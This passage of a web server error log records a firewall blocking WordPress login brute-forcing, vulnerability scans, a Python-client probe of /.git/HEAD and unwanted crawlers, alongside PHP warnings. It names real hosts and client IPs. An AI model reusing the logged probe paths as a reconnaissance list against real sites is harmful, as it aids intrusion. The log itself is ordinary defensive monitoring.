646876:tid 646896] [remote 57.141.14.60:28442] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:05.295762 2026] [access_compat:error] [pid 646876:tid 646925] [remote 57.141.14.91:58208] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:05.296204 2026] [access_compat:error] [pid 646876:tid 646925] [remote 57.141.14.91:58208] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:05.302684 2026] [lsapi:warn] [pid 715691:tid 715746] [remote 52.167.144.220:62496] [host www.craigbrownphd.com] Backend log: PHP Warning: Trying to access array offset on value of type bool in /home1/craigbro/public_html/wp-content/plugins/elementor/includes/base/widget-base.php on line 224\n [Sat Jun 13 18:24:05.302714 2026] [lsapi:warn] [pid 715691:tid 715746] [remote 52.167.144.220:62496] [host www.craigbrownphd.com] Backend log: PHP Warning: Undefined array key -1 in /home1/craigbro/public_html/wp-content/plugins/elementor/includes/base/controls-stack.php on line 696\n [Sat Jun 13 18:24:05.409255 2026] [security2:error] [pid 715691:tid 715910] [client 172.56.168.133:25270] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai30pbV-dFiaX9AtWiQp8AAAAU8"] [Sat Jun 13 18:24:05.409516 2026] [security2:error] [pid 715691:tid 715910] [client 172.56.168.133:25270] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai30pbV-dFiaX9AtWiQp8AAAAU8"] [Sat Jun 13 18:24:05.447856 2026] [access_compat:error] [pid 646876:tid 646890] [remote 216.73.216.182:54908] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:05.448293 2026] [access_compat:error] [pid 646876:tid 646890] [remote 216.73.216.182:54908] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:05.456610 2026] [security2:error] [pid 715691:tid 715820] [remote 162.254.36.150:47390] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 150.36.254.162.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "esvarbon.gov.ng"] [uri "/wp-login.php"] [unique_id "ai30pbV-dFiaX9AtWiQp9wABKm0"], referer: https://esvarbon.gov.ng/wp-login.php [Sat Jun 13 18:24:05.628968 2026] [access_compat:error] [pid 646876:tid 646972] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL2lucHV0MQ== [Sat Jun 13 18:24:05.629247 2026] [access_compat:error] [pid 646876:tid 646972] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL2lucHV0MQ== [Sat Jun 13 18:24:05.647168 2026] [security2:error] [pid 715691:tid 715785] [remote 52.167.144.172:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 172.144.167.52.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "levantsoleil.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai30pbV-dFiaX9AtWiQqAQABFUo"], referer: https://levantsoleil.com/2026/04/05/5-%D8%A5%D8%A8%D8%B1%D9%8A%D9%84-%D9%86%D9%8A%D8%B3%D8%A7%D9%86-2026/ [Sat Jun 13 18:24:05.687478 2026] [security2:error] [pid 715691:tid 715906] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/mbstring/tests/mb_strtolower_variation2.phpt"] [unique_id "ai30pbV-dFiaX9AtWiQqBAAAAUs"] [Sat Jun 13 18:24:05.978954 2026] [access_compat:error] [pid 646876:tid 646949] [remote 57.141.14.78:60768] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:05.979416 2026] [access_compat:error] [pid 646876:tid 646949] [remote 57.141.14.78:60768] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:05.988480 2026] [access_compat:error] [pid 715691:tid 715806] [remote 57.141.14.100:32527] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:05.989204 2026] [access_compat:error] [pid 715691:tid 715806] [remote 57.141.14.100:32527] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:06.100507 2026] [security2:error] [pid 715691:tid 715786] [remote 17.246.19.53:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 53.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30prV-dFiaX9AtWiQqDQABXEs"] [Sat Jun 13 18:24:06.159775 2026] [security2:error] [pid 715691:tid 715805] [remote 17.22.245.54:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30prV-dFiaX9AtWiQqEAABe14"] [Sat Jun 13 18:24:06.214844 2026] [access_compat:error] [pid 646876:tid 646976] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ1L3Bvd2Vy [Sat Jun 13 18:24:06.215264 2026] [access_compat:error] [pid 646876:tid 646976] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ1L3Bvd2Vy [Sat Jun 13 18:24:06.356302 2026] [security2:error] [pid 715691:tid 715722] [remote 17.246.15.8:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 8.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30prV-dFiaX9AtWiQqFgABIAw"] [Sat Jun 13 18:24:06.704316 2026] [access_compat:error] [pid 646876:tid 646917] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9pbnB1dC9pbnB1dDQvbW91c2UxL3Bvd2Vy [Sat Jun 13 18:24:06.704799 2026] [access_compat:error] [pid 646876:tid 646917] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9pbnB1dC9pbnB1dDQvbW91c2UxL3Bvd2Vy [Sat Jun 13 18:24:06.737248 2026] [proxy:error] [pid 715691:tid 715878] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:24:06.737320 2026] [proxy_http:error] [pid 715691:tid 715878] [client 195.96.139.204:47373] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:24:06.737927 2026] [proxy:error] [pid 715691:tid 715878] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:24:06.737964 2026] [proxy_http:error] [pid 715691:tid 715878] [client 195.96.139.204:47373] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:24:06.854980 2026] [access_compat:error] [pid 715691:tid 715752] [remote 57.141.14.26:24088] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:06.855239 2026] [access_compat:error] [pid 715691:tid 715752] [remote 57.141.14.26:24088] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:07.024197 2026] [access_compat:error] [pid 646876:tid 646980] [remote 57.141.14.89:36992] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:07.024665 2026] [access_compat:error] [pid 646876:tid 646980] [remote 57.141.14.89:36992] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:07.103779 2026] [security2:error] [pid 646876:tid 647033] [client 45.130.203.231:44653] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "www.broadcastserv.com"] [uri "/.git/HEAD"] [unique_id "ai30p9yTkdrNlD40tSHWzgAAABk"] [Sat Jun 13 18:24:07.214118 2026] [access_compat:error] [pid 646876:tid 646993] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDUvZXZlbnQzL2RldmljZQ== [Sat Jun 13 18:24:07.214397 2026] [access_compat:error] [pid 646876:tid 646993] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDUvZXZlbnQzL2RldmljZQ== [Sat Jun 13 18:24:07.257236 2026] [access_compat:error] [pid 715691:tid 715784] [remote 57.141.14.16:60958] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:07.257703 2026] [access_compat:error] [pid 715691:tid 715784] [remote 57.141.14.16:60958] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:07.259144 2026] [security2:error] [pid 715691:tid 715744] [remote 17.246.15.177:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 177.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30p7V-dFiaX9AtWiQqMgABTSI"] [Sat Jun 13 18:24:07.312684 2026] [security2:error] [pid 646876:tid 646994] [remote 50.87.144.169:48014] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 169.144.87.50.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "traderootsltd.com"] [uri "/wp-login.php"] [unique_id "ai30p9yTkdrNlD40tSHW0wAAe3M"] [Sat Jun 13 18:24:07.333561 2026] [access_compat:error] [pid 715691:tid 715770] [remote 57.141.14.32:36167] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:07.334048 2026] [access_compat:error] [pid 715691:tid 715770] [remote 57.141.14.32:36167] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:07.336361 2026] [security2:error] [pid 646876:tid 646906] [remote 17.22.253.159:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 159.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30p9yTkdrNlD40tSHW1AAAKBs"] [Sat Jun 13 18:24:07.424420 2026] [security2:error] [pid 715691:tid 715858] [client 47.128.46.157:47010] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "donar.doctoraclown.org"] [uri "/robots.txt"] [unique_id "ai30p7V-dFiaX9AtWiQqPgAAARs"] [Sat Jun 13 18:24:07.535208 2026] [access_compat:error] [pid 646876:tid 647002] [remote 57.141.14.82:33608] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:07.535485 2026] [access_compat:error] [pid 646876:tid 647002] [remote 57.141.14.82:33608] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:07.718174 2026] [access_compat:error] [pid 646876:tid 646911] [remote 57.141.14.66:27846] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:07.718631 2026] [access_compat:error] [pid 646876:tid 646911] [remote 57.141.14.66:27846] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:07.725348 2026] [access_compat:error] [pid 646876:tid 646927] [remote 57.141.14.111:45402] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:07.725827 2026] [access_compat:error] [pid 646876:tid 646927] [remote 57.141.14.111:45402] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:07.755186 2026] [access_compat:error] [pid 646876:tid 646999] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDQvcG93ZXI= [Sat Jun 13 18:24:07.755471 2026] [access_compat:error] [pid 646876:tid 646999] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDQvcG93ZXI= [Sat Jun 13 18:24:07.870999 2026] [security2:error] [pid 715691:tid 715771] [remote 17.241.75.170:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 170.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30p7V-dFiaX9AtWiQqTgABbzw"] [Sat Jun 13 18:24:08.190460 2026] [security2:error] [pid 715691:tid 715757] [remote 17.22.253.221:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 221.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30qLV-dFiaX9AtWiQqWwABIi4"] [Sat Jun 13 18:24:08.251707 2026] [security2:error] [pid 646876:tid 646913] [remote 17.241.219.69:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30qNyTkdrNlD40tSHW7wAAbiI"] [Sat Jun 13 18:24:08.332566 2026] [access_compat:error] [pid 646876:tid 646881] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ1L2V2ZW50My9zdWJzeXN0ZW0vbW91c2UyL3Bvd2Vy [Sat Jun 13 18:24:08.333077 2026] [access_compat:error] [pid 646876:tid 646881] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ1L2V2ZW50My9zdWJzeXN0ZW0vbW91c2UyL3Bvd2Vy [Sat Jun 13 18:24:08.351990 2026] [security2:error] [pid 715691:tid 715763] [remote 17.246.19.242:0] ModSecurity: Access denied 